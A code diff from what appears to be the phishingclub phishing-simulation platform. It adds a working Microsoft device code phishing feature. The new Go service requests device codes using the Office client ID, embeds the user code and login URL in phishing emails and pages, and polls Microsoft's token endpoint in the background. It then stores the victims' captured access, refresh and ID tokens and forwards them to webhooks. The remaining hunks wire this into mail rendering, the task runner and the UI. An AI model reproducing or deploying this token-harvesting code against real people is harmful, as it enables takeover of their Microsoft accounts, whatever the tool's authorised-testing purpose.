customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID)
if err != nil {
c.Logger.Errorw("failed to get campaign url", "error", err)
@@ -4025,7 +4069,7 @@ func (c *Campaign) sendSingleEmailSMTP(
}
// process subject through template
subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String())
subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String())
if err != nil {
c.Logger.Errorw("failed to parse subject template", "error", err)
return errs.Wrap(err)
@@ -4038,8 +4082,14 @@ func (c *Campaign) sendSingleEmailSMTP(
}
m.Subject(subjectBuffer.String())
// parse and execute body with per-recipient device code funcs
recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(emailContent)
if err != nil {
c.Logger.Errorw("failed to parse per-recipient mail template", "error", err)
return errs.Wrap(err)
}
var bodyBuffer bytes.Buffer
err = mailTmpl.Execute(&bodyBuffer, t)
err = recipientMailTmpl.Execute(&bodyBuffer, t)
if err != nil {
c.Logger.Errorw("failed to execute mail template", "error", err)
return errs.Wrap(err)
@@ -4093,7 +4143,7 @@ func (c *Campaign) sendSingleEmailSMTP(
return errs.Wrap(err)
}
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
ctx,
urlIdentifier.Name.MustGet(),
urlPath,
@@ -4103,6 +4153,8 @@ func (c *Campaign) sendSingleEmailSMTP(
nil,
customCampaignURL,
campaignCompanyID,
&campaignID,
&actualRecipientID,
)
if err != nil {
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
@@ -4149,7 +4201,7 @@ func (c *Campaign) sendSingleEmailSMTP(
return errs.Wrap(err)
}
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
ctx,
urlIdentifier.Name.MustGet(),
urlPath,
@@ -4159,6 +4211,8 @@ func (c *Campaign) sendSingleEmailSMTP(
nil,
customCampaignURL,
campaignCompanyID,
&campaignID,
&actualRecipientID,
)
if err != nil {
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
+521
View File
@@ -0,0 +1,521 @@
package service
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/cache"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/vo"
"gorm.io/gorm"
)
const (
// defaultMicrosoftDeviceCodeClientID is the ms office client id commonly used in device code phishing attacks
defaultMicrosoftDeviceCodeClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
// defaultMicrosoftDeviceCodeTenantID is the default tenant used when none is specified
defaultMicrosoftDeviceCodeTenantID = "organizations"
// defaultMicrosoftDeviceCodeScope is the default scope requested for graph access
defaultMicrosoftDeviceCodeScope = "https://graph.microsoft.com/.default openid profile offline_access"
// defaultMicrosoftDeviceCodeResource is the default resource target
defaultMicrosoftDeviceCodeResource = "https://graph.microsoft.com"
// microsoftDeviceCodeEndpoint is the url template for requesting a device code
microsoftDeviceCodeEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/devicecode"
// microsoftTokenEndpoint is the url template for polling the token endpoint
microsoftTokenEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/token"
// errAuthorizationPending is returned by microsoft when the user has not yet authenticated
errAuthorizationPending = "authorization_pending"
)
// MicrosoftDeviceCode is the microsoft device code phishing service
type MicrosoftDeviceCode struct {
Common
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
CampaignRepository *repository.Campaign
CampaignRecipientRepository *repository.CampaignRecipient
CampaignService *Campaign
// HTTPClient is used for all outbound requests to microsoft endpoints.
// defaults to a client with a 15s timeout if nil.
HTTPClient *http.Client
}
// MicrosoftDeviceCodeOptions holds the options for creating a microsoft device code
type MicrosoftDeviceCodeOptions struct {
ClientID string
TenantID string
Resource string
Scope string
}
// tenantIDPattern matches valid microsoft tenant identifiers:
// - "common", "organizations", "consumers" (well-known values)
// - a UUID (guid) tenant id
// - a domain name like contoso.com (letters, digits, hyphens, dots)
var tenantIDPattern = regexp.MustCompile(`^([a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]|common|organizations|consumers)$`)
// clientIDPattern matches a UUID-format client id
var clientIDPattern = regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`)
// validateDeviceCodeOptions returns an error if any option value are unexpected or invalid
func validateDeviceCodeOptions(opts *MicrosoftDeviceCodeOptions) error {
if !tenantIDPattern.MatchString(opts.TenantID) {
return fmt.Errorf("invalid tenantId %q: must be a UUID, a domain name, or one of common/organizations/consumers", opts.TenantID)
}
if !clientIDPattern.MatchString(opts.ClientID) {
return fmt.Errorf("invalid clientId %q: must be a UUID", opts.ClientID)
}
return nil
}
// applyDeviceCodeDefaults fills in any zero-value options with the package defaults
func applyDeviceCodeDefaults(opts *MicrosoftDeviceCodeOptions) {
if opts.ClientID == "" {
opts.ClientID = defaultMicrosoftDeviceCodeClientID
}
if opts.TenantID == "" {
opts.TenantID = defaultMicrosoftDeviceCodeTenantID
}
if opts.Resource == "" {
opts.Resource = defaultMicrosoftDeviceCodeResource
}
if opts.Scope == "" {
opts.Scope = defaultMicrosoftDeviceCodeScope
}
}
// microsoftDeviceCodeResponse is the json response from microsoft's device code endpoint
type microsoftDeviceCodeResponse struct {
DeviceCode string `json:"device_code"`
UserCode string `json:"user_code"`
VerificationURI string `json:"verification_uri"`
ExpiresIn int `json:"expires_in"`
Interval int `json:"interval"`
Message string `json:"message"`
}
// microsoftTokenResponse is the json response from microsoft's token endpoint
type microsoftTokenResponse struct {
AccessToken string `json:"access_token"`
RefreshToken string `json:"refresh_token"`
IDToken string `json:"id_token"`
TokenType string `json:"token_type"`
ExpiresIn int `json:"expires_in"`
}
// microsoftTokenErrorResponse is the json error response from microsoft's token endpoint
type microsoftTokenErrorResponse struct {
Error string `json:"error"`
ErrorDescription string `json:"error_description"`
}
// requestDeviceCode calls microsoft's device code endpoint and returns the parsed response
func (s *MicrosoftDeviceCode) requestDeviceCode(opts *MicrosoftDeviceCodeOptions) (*microsoftDeviceCodeResponse, error) {
endpoint := fmt.Sprintf(microsoftDeviceCodeEndpoint, opts.TenantID)
form := url.Values{
"client_id": {opts.ClientID},
"scope": {opts.Scope},
}
resp, err := s.HTTPClient.PostForm(endpoint, form)
if err != nil {
return nil, fmt.Errorf("device code request failed: %w", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if err != nil {
return nil, fmt.Errorf("failed to read device code response body: %w", err)
}
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("device code endpoint returned status %d: %s", resp.StatusCode, string(body))
}
var dcResp microsoftDeviceCodeResponse
if err := json.Unmarshal(body, &dcResp); err != nil {
return nil, fmt.Errorf("failed to parse device code response: %w", err)
}
return &dcResp, nil
}
// pollTokenEndpoint polls microsoft's token endpoint once for the given device code.
// returns (tokenResponse, isPending, error).
// isPending is true when microsoft returns authorization_pending — the caller should keep polling.
// any other error means polling should stop for this code.
func (s *MicrosoftDeviceCode) pollTokenEndpoint(tenantID, clientID, deviceCode string) (*microsoftTokenResponse, bool, error) {
endpoint := fmt.Sprintf(microsoftTokenEndpoint, tenantID)
form := url.Values{
"grant_type": {"urn:ietf:params:oauth:grant-type:device_code"},
"client_id": {clientID},
"device_code": {deviceCode},
}
resp, err := s.HTTPClient.PostForm(endpoint, form)
if err != nil {
return nil, false, fmt.Errorf("token poll request failed: %w", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if err != nil {
return nil, false, fmt.Errorf("failed to read token poll response body: %w", err)
}
if resp.StatusCode == http.StatusOK {
var tokenResp microsoftTokenResponse
if err := json.Unmarshal(body, &tokenResp); err != nil {
return nil, false, fmt.Errorf("failed to parse token response: %w", err)
}
return &tokenResp, false, nil
}
// non-200 — check for authorization_pending vs terminal errors
var errResp microsoftTokenErrorResponse
if err := json.Unmarshal(body, &errResp); err != nil {
return nil, false, fmt.Errorf("token endpoint returned status %d and unparseable body: %s", resp.StatusCode, string(body))
}
if errResp.Error == errAuthorizationPending {
return nil, true, nil
}
// any other error (expired_token, authorization_declined, bad_verification_code, etc.) is terminal
return nil, false, fmt.Errorf("token endpoint error: %s — %s", errResp.Error, errResp.ErrorDescription)
}
// GetOrCreateDeviceCode returns an existing valid (non-expired, non-captured) device code for the
// given campaign and recipient, or requests a new one from microsoft and persists it.
// no auth use only internal, do not expose to api
func (s *MicrosoftDeviceCode) GetOrCreateDeviceCode(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
opts MicrosoftDeviceCodeOptions,
) (*model.MicrosoftDeviceCode, error) {
applyDeviceCodeDefaults(&opts)
if err := validateDeviceCodeOptions(&opts); err != nil {
return nil, fmt.Errorf("GetOrCreateDeviceCode: %w", err)
}
existing, err := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID)
if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
s.Logger.Errorw("failed to look up existing device code", "error", err)
return nil, errs.Wrap(err)
}
if existing != nil {
// return valid non-captured, non-expired, not-about-to-expire entry as-is
if !existing.Captured && !existing.IsExpired() && !existing.ExpiresWithin(5*time.Minute) {
return existing, nil
}
// stale entry — remove it before creating a fresh one
if delErr := s.MicrosoftDeviceCodeRepository.DeleteByCampaignAndRecipientID(ctx, campaignID, recipientID); delErr != nil {
s.Logger.Errorw("failed to delete stale device code entry", "error", delErr)
return nil, errs.Wrap(delErr)
}
}
// request a fresh device code from microsoft
dcResp, err := s.requestDeviceCode(&opts)
if err != nil {
s.Logger.Errorw("failed to request device code from microsoft", "error", err)
return nil, errs.Wrap(err)
}
expiresAt := time.Now().UTC().Add(time.Duration(dcResp.ExpiresIn) * time.Second)
campaignIDNullable := nullable.NewNullableWithValue(*campaignID)
recipientIDNullable := nullable.NewNullableWithValue(*recipientID)
entry := &model.MicrosoftDeviceCode{
DeviceCode: dcResp.DeviceCode,
UserCode: dcResp.UserCode,
VerificationURI: dcResp.VerificationURI,
ExpiresAt: &expiresAt,
Resource: opts.Resource,
ClientID: opts.ClientID,
TenantID: opts.TenantID,
Scope: opts.Scope,
Captured: false,
CampaignID: campaignIDNullable,
RecipientID: recipientIDNullable,
}
newID, err := s.MicrosoftDeviceCodeRepository.Insert(ctx, entry)
if err != nil {
// a unique constraint violation means a concurrent request already inserted a row
// for this campaign+recipient between our lookup and our insert — fetch and return
// that row instead of failing
errMsg := strings.ToLower(err.Error())
if strings.Contains(errMsg, "unique") || strings.Contains(errMsg, "duplicate") {
existing, fetchErr := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID)
if fetchErr == nil {
return existing, nil
}
}
s.Logger.Errorw("failed to insert device code entry", "error", err)
// save a failed creation event before returning so operators can see the attempt
s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, "", "", err.Error())
return nil, errs.Wrap(err)
}
entry.ID = nullable.NewNullableWithValue(*newID)
// save a campaign event recording the new device code so operators can see
// the user code and verification uri in the campaign event log
s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, entry.UserCode, entry.VerificationURI, "")
return entry, nil
}
// saveDeviceCodeCreatedEvent saves a campaign event recording that a device code was created (or
// failed to be created). failReason should be empty on success.
func (s *MicrosoftDeviceCode) saveDeviceCodeCreatedEvent(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
userCode string,
verificationURI string,
failReason string,
) {
eventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO]
if eventTypeID == nil {
// event type not yet seeded — skip silently
return
}
payload := map[string]string{
"user_code": userCode,
"verification_uri": verificationURI,
}
if failReason != "" {
payload["error"] = failReason
}
raw, err := json.Marshal(payload)
if err != nil {
s.Logger.Warnw("failed to marshal device code created event data", "error", err)
return
}
eventData := vo.NewUnsafeOptionalString1MB(string(raw))
eventID := uuid.New()
campaignEvent := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: eventTypeID,
IP: vo.NewOptionalString64Must(""),
UserAgent: vo.NewOptionalString255Must(""),
Data: eventData,
Metadata: vo.NewEmptyOptionalString1MB(),
}
if saveErr := s.CampaignRepository.SaveEvent(ctx, campaignEvent); saveErr != nil {
s.Logger.Errorw("failed to save device code created event", "error", saveErr)
}
}
// PollAllPending is called by the background task runner.
// it fetches all non-captured, non-expired device codes and polls microsoft's token endpoint once
// per entry. on a successful capture it marks the entry, saves a campaign event, and updates the
// most notable event for the campaign recipient.
func (s *MicrosoftDeviceCode) PollAllPending(ctx context.Context) error {
pending, err := s.MicrosoftDeviceCodeRepository.GetAllPendingNotExpired(ctx)
if err != nil {
s.Logger.Errorw("failed to fetch pending device codes", "error", err)
return errs.Wrap(err)
}
for _, entry := range pending {
if err := s.pollAndCapture(ctx, entry); err != nil {
// log but continue — a failure on one entry must not stop the rest
s.Logger.Errorw("failed to poll device code entry",
"error", err,
"deviceCodeID", entry.ID,
)
}
}
return nil
}
// pollAndCapture polls the token endpoint for a single device code entry and, on success,
// persists the captured tokens and emits a campaign event.
func (s *MicrosoftDeviceCode) pollAndCapture(ctx context.Context, entry *model.MicrosoftDeviceCode) error {
entryID := entry.ID.MustGet()
// record that we polled this entry, even if the result is still pending
if err := s.MicrosoftDeviceCodeRepository.UpdateLastPolledAt(ctx, &entryID, time.Now()); err != nil {
s.Logger.Warnw("failed to update last_polled_at for device code entry",
"error", err,
"deviceCodeID", entryID,
)
}
tokenResp, isPending, err := s.pollTokenEndpoint(entry.TenantID, entry.ClientID, entry.DeviceCode)
if err != nil {
// terminal error from microsoft — log at debug level since this is expected for
// denied/expired codes and we don't want to spam the error logs
s.Logger.Debugw("device code polling returned terminal error",
"error", err,
"userCode", entry.UserCode,
)
return nil
}
if isPending {
// user has not authenticated yet — nothing to do this tick
return nil
}
// we have tokens — mark the entry as captured
if err := s.MicrosoftDeviceCodeRepository.MarkCaptured(
ctx,
&entryID,
tokenResp.AccessToken,
tokenResp.RefreshToken,
tokenResp.IDToken,
); err != nil {
s.Logger.Errorw("failed to mark device code as captured", "error", err)
return errs.Wrap(err)
}
campaignID, err := entry.CampaignID.Get()
if err != nil {
s.Logger.Errorw("captured device code entry is missing campaign id", "entryID", entryID.String())
return fmt.Errorf("device code entry %s has no campaign id", entryID.String())
}
recipientID, err := entry.RecipientID.Get()
if err != nil {
s.Logger.Errorw("captured device code entry is missing recipient id", "entryID", entryID.String())
return fmt.Errorf("device code entry %s has no recipient id", entryID.String())
}
// fetch the campaign to check SaveSubmittedData
campaign, err := s.CampaignRepository.GetByID(ctx, &campaignID, &repository.CampaignOption{})
if err != nil {
s.Logger.Errorw("failed to get campaign for submit event", "error", err)
return errs.Wrap(err)
}
// build event data json containing the captured tokens
eventData, err := s.buildCapturedEventData(tokenResp, entry.UserCode, entry.ClientID)
if err != nil {
// non-fatal — use an empty string rather than failing the whole capture
s.Logger.Warnw("failed to build device code event data, falling back to empty", "error", err)
eventData = vo.NewEmptyOptionalString1MB()
}
// save as a submitted data event
// if SaveSubmittedData is disabled, record the event but store empty data.
var submitData *vo.OptionalString1MB
if campaign.SaveSubmittedData.MustGet() {
submitData = eventData
} else {
submitData = vo.NewOptionalString1MBMust("{}")
}
submitEventID := uuid.New()
submitDataEventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
submitEvent := &model.CampaignEvent{
ID: &submitEventID,
CampaignID: &campaignID,
RecipientID: &recipientID,
EventID: submitDataEventTypeID,
IP: vo.NewOptionalString64Must(""),
UserAgent: vo.NewOptionalString255Must(""),
Data: submitData,
Metadata: vo.NewEmptyOptionalString1MB(),
}
if err := s.CampaignRepository.SaveEvent(ctx, submitEvent); err != nil {
s.Logger.Errorw("failed to save device code submit event", "error", err)
return errs.Wrap(err)
}
// fire webhooks for the submitted data event
if s.CampaignService != nil {
webhookData := map[string]interface{}{
"access_token": tokenResp.AccessToken,
"refresh_token": tokenResp.RefreshToken,
"id_token": tokenResp.IDToken,
"user_code": entry.UserCode,
"client_id": entry.ClientID,
}
if err := s.CampaignService.HandleWebhooks(
ctx,
&campaignID,
&recipientID,
data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA,
webhookData,
); err != nil {
s.Logger.Errorw("failed to handle webhooks for device code capture", "error", err)
}
}
// update most notable event for the campaign recipient
campaignRecipient, err := s.CampaignRecipientRepository.GetByCampaignAndRecipientID(
ctx,
&campaignID,
&recipientID,
&repository.CampaignRecipientOption{},
)
if err != nil {
s.Logger.Errorw("failed to get campaign recipient for notable event update", "error", err)
// not returning — the tokens are already captured, so this is best-effort
return nil
}
currentNotableEventID, _ := campaignRecipient.NotableEventID.Get()
if cache.IsMoreNotableCampaignRecipientEventID(&currentNotableEventID, submitDataEventTypeID) {
campaignRecipient.NotableEventID.Set(*submitDataEventTypeID)
crid := campaignRecipient.ID.MustGet()
if err := s.CampaignRecipientRepository.UpdateByID(ctx, &crid, campaignRecipient); err != nil {
s.Logger.Errorw("failed to update most notable event for campaign recipient after device code capture", "error", err)
}
}
s.Logger.Infow("microsoft device code captured successfully",
"campaignID", campaignID.String(),
"recipientID", recipientID.String(),
"userCode", entry.UserCode,
)
return nil
}
// buildCapturedEventData serialises the captured token information into a 1MB-bounded vo string.
func (s *MicrosoftDeviceCode) buildCapturedEventData(
tokenResp *microsoftTokenResponse,
userCode string,
clientID string,
) (*vo.OptionalString1MB, error) {
payload := map[string]string{
"access_token": tokenResp.AccessToken,
"id_token": tokenResp.IDToken,
"refresh_token": tokenResp.RefreshToken,
"user_code": userCode,
"client_id": clientID,
}
raw, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("failed to marshal captured token payload: %w", err)
}
// a truncated JWT or refresh token is cryptographically invalid and cannot be replayed,
// so exceeding the 1 MB limit is treated as an error rather than silently corrupting the data.
result, err := vo.NewOptionalString1MB(string(raw))
if err != nil {
return nil, fmt.Errorf("captured token payload exceeds 1 MB limit: %w", err)
}
return result, nil
}
+146 -5
View File
@@ -32,7 +32,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
// templates such as websites, emails, etc.
type Template struct {
Common
RecipientRepository *repository.Recipient
RecipientRepository *repository.Recipient
MicrosoftDeviceCodeService *MicrosoftDeviceCode
}
// CreateMailTemplate creates a new mail template
@@ -254,6 +255,38 @@ func (t *Template) CreateMailBodyWithCustomURL(
apiSender *model.APISender, // can be nil
customCampaignURL string, // if provided, overrides the default campaign URL
companyID *uuid.UUID,
) (string, error) {
return t.CreateMailBodyWithCustomURLAndRecipient(
ctx,
urlIdentifier,
urlPath,
domain,
campaignRecipient,
email,
apiSender,
customCampaignURL,
companyID,
nil,
nil,
)
}
// CreateMailBodyWithCustomURLAndRecipient renders a mail body with an optional custom campaign URL.
// when campaignID and recipientID are non-nil the DeviceCode template functions are wired to the
// live implementation so that {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly
// in email bodies and attachments.
func (t *Template) CreateMailBodyWithCustomURLAndRecipient(
ctx context.Context,
urlIdentifier string,
urlPath string,
domain *model.Domain,
campaignRecipient *model.CampaignRecipient,
email *model.Email,
apiSender *model.APISender, // can be nil
customCampaignURL string, // if provided, overrides the default campaign URL
companyID *uuid.UUID,
campaignID *uuid.UUID, // if non-nil, device code funcs are wired
recipientID *uuid.UUID, // if non-nil, device code funcs are wired
) (string, error) {
mailData := t.CreateMail(
ctx,
@@ -271,8 +304,16 @@ func (t *Template) CreateMailBodyWithCustomURL(
(*mailData)["URL"] = customCampaignURL
}
// use device code funcs when both ids are present so {{MicrosoftDeviceCode}} resolves
var funcs template.FuncMap
if campaignID != nil && recipientID != nil {
funcs = t.TemplateFuncsWithDeviceCode(ctx, campaignID, recipientID)
} else {
funcs = t.TemplateFuncsWithCompany(ctx, companyID)
}
mailContentTemplate := template.New("mailContent")
mailContentTemplate = mailContentTemplate.Funcs(t.TemplateFuncsWithCompany(ctx, companyID))
mailContentTemplate = mailContentTemplate.Funcs(funcs)
content, err := email.Content.Get()
if err != nil {
t.Logger.Errorw("failed to get email content", "error", err)
@@ -326,6 +367,26 @@ func (t *Template) CreatePhishingPageWithCampaign(
urlPath string,
campaign *model.Campaign,
companyID *uuid.UUID,
) (*bytes.Buffer, error) {
return t.CreatePhishingPageWithCampaignAndRecipient(ctx, domain, email, campaignRecipientID, nil, recipient, contentToRender, campaignTemplate, stateParam, urlPath, campaign, companyID)
}
// CreatePhishingPageWithCampaignAndRecipient creates a new phishing page with optional campaign and
// explicit recipient id for device code phishing support. when recipientID is non-nil the DeviceCode
// template function is wired to the live implementation.
func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
ctx context.Context,
domain *database.Domain,
email *model.Email,
campaignRecipientID *uuid.UUID,
recipientID *uuid.UUID,
recipient *model.Recipient,
contentToRender string,
campaignTemplate *model.CampaignTemplate,
stateParam string,
urlPath string,
campaign *model.Campaign,
companyID *uuid.UUID,
) (*bytes.Buffer, error) {
w := bytes.NewBuffer([]byte{})
id := campaignRecipientID.String()
@@ -379,8 +440,16 @@ func (t *Template) CreatePhishingPageWithCampaign(
}
}
var templateFuncs template.FuncMap
if campaign != nil && recipientID != nil {
campaignID := campaign.ID.MustGet()
templateFuncs = t.TemplateFuncsWithDeviceCode(ctx, &campaignID, recipientID)
} else {
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
}
tmpl, err := template.New("page").
Funcs(t.TemplateFuncsWithCompany(ctx, companyID)).
Funcs(templateFuncs).
Parse(contentToRender)
if err != nil {
@@ -400,8 +469,8 @@ func (t *Template) CreatePhishingPageWithCampaign(
// add random recipient data to template context (excluding current recipient)
var excludeRecipientID *uuid.UUID
if recipientID, err := recipient.ID.Get(); err == nil {
excludeRecipientID = &recipientID
if rid, err := recipient.ID.Get(); err == nil {
excludeRecipientID = &rid
}
(*data)["RandomRecipient"] = t.getRandomRecipientData(ctx, companyID, excludeRecipientID)
err = tmpl.Execute(w, data)
@@ -571,6 +640,16 @@ func TemplateFuncs() template.FuncMap {
"base64": func(s string) string {
return base64.StdEncoding.EncodeToString([]byte(s))
},
// MicrosoftDeviceCode is a no-op stub used during template validation; it is replaced with
// a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients.
"MicrosoftDeviceCode": func(args ...string) (string, error) {
return "ABCD-1234", nil
},
// MicrosoftDeviceCodeURL is a no-op stub used during template validation; it is replaced with
// a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients.
"MicrosoftDeviceCodeURL": func(args ...string) (string, error) {
return "https://microsoft.com/devicelogin", nil
},
}
}
@@ -579,6 +658,68 @@ func (t *Template) TemplateFuncsWithCompany(ctx context.Context, companyID *uuid
return TemplateFuncs()
}
// TemplateFuncsWithDeviceCode returns template functions with live MicrosoftDeviceCode and MicrosoftDeviceCodeURL
// implementations bound to the given campaign and recipient. both functions accept optional keyword
// arguments as alternating key/value string pairs, e.g.:
//
// {{MicrosoftDeviceCode "clientId" "d3590ed6-..." "tenantId" "contoso.com"}}
// {{MicrosoftDeviceCodeURL "clientId" "d3590ed6-..." "tenantId" "contoso.com"}}
//
// supported keys: clientId, tenantId, resource, scope
//
// MicrosoftDeviceCode returns the short user code (e.g. "ABCD-1234") to display to the victim.
// MicrosoftDeviceCodeURL returns the verification URI the victim should visit.
func (t *Template) TemplateFuncsWithDeviceCode(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
) template.FuncMap {
funcs := TemplateFuncs()
if t.MicrosoftDeviceCodeService == nil || *campaignID == uuid.Nil || *recipientID == uuid.Nil {
// device code service not wired or no real ids available (e.g. test/preview context) —
// return the no-op stub so the template still renders with placeholder values
return funcs
}
// parseDeviceCodeOpts parses alternating key/value argument pairs into a MicrosoftDeviceCodeOptions struct
parseDeviceCodeOpts := func(args []string) MicrosoftDeviceCodeOptions {
opts := MicrosoftDeviceCodeOptions{}
for i := 0; i+1 < len(args); i += 2 {
switch args[i] {
case "clientId":
opts.ClientID = args[i+1]
case "tenantId":
opts.TenantID = args[i+1]
case "resource":
opts.Resource = args[i+1]
case "scope":
opts.Scope = args[i+1]
}
}
return opts
}
funcs["MicrosoftDeviceCode"] = func(args ...string) (string, error) {
opts := parseDeviceCodeOpts(args)
entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts)
if err != nil {
return "", fmt.Errorf("MicrosoftDeviceCode: failed to get or create device code: %w", err)
}
return entry.UserCode, nil
}
funcs["MicrosoftDeviceCodeURL"] = func(args ...string) (string, error) {
opts := parseDeviceCodeOpts(args)
entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts)
if err != nil {
return "", fmt.Errorf("MicrosoftDeviceCodeURL: failed to get or create device code: %w", err)
}
return entry.VerificationURI, nil
}
return funcs
}
// getRandomRecipientData gets a random recipient from a company and returns a map of their data
func (t *Template) getRandomRecipientData(ctx context.Context, companyID *uuid.UUID, excludeRecipientID *uuid.UUID) map[string]string {
data := map[string]string{
+13 -5
View File
@@ -21,10 +21,11 @@ const SYSTEM_TASK_INTERVAL = 1 * time.Hour
// Daemon is for running tasks in the background
// ex: sending emails etc..
type Runner struct {
CampaignService *service.Campaign
UpdateService *service.Update
IsRunning bool
Logger *zap.SugaredLogger
CampaignService *service.Campaign
UpdateService *service.Update
MicrosoftDeviceCode *service.MicrosoftDeviceCode
IsRunning bool
Logger *zap.SugaredLogger
}
// Run starts the rask runner
@@ -163,7 +164,7 @@ func (d *Runner) Process(
)
})
d.Logger.Debug("task runner started processing")
// send the next batch of messagess
// send the next batch of messages
d.runTask("send messages", func() error {
err := d.CampaignService.SendNextBatch(
ctx,
@@ -171,6 +172,13 @@ func (d *Runner) Process(
)
return errs.Wrap(err)
})
// poll pending device codes and capture any successful authentications
d.runTask("poll device codes", func() error {
if d.MicrosoftDeviceCode == nil {
return nil
}
return d.MicrosoftDeviceCode.PollAllPending(ctx)
})
d.Logger.Debug("task runner ended processing")
}
@@ -25,7 +25,8 @@
campaign_recipient_after_page_visited: '#f6287b',
campaign_recipient_deny_page_visited: '#ff6b35',
campaign_recipient_submitted_data: '#f42e41',
campaign_recipient_reported: '#2c3e50'
campaign_recipient_reported: '#2c3e50',
campaign_recipient_info: '#94cae6'
});
const EVENT_ICONS = Object.freeze({
@@ -60,7 +61,9 @@
campaign_recipient_submitted_data:
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12.75L11.25 15 15 9.75M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>',
campaign_recipient_reported:
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L4.072 16.5c-.77.833.192 2.5 1.732 2.5z"/></svg>'
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L4.072 16.5c-.77.833.192 2.5 1.732 2.5z"/></svg>',
campaign_recipient_info:
'<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>'
});
const DEFAULT_ICON =
@@ -126,7 +129,8 @@
campaign_recipient_after_page_visited: true,
campaign_recipient_deny_page_visited: true,
campaign_recipient_submitted_data: true,
campaign_recipient_reported: true
campaign_recipient_reported: true,
campaign_recipient_info: true
};
// caching - pre-processed events with timestamps
@@ -1080,7 +1084,7 @@
Recipient Events
</h4>
<div class="space-y-1 pl-2">
{#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported']] as [key, label]}
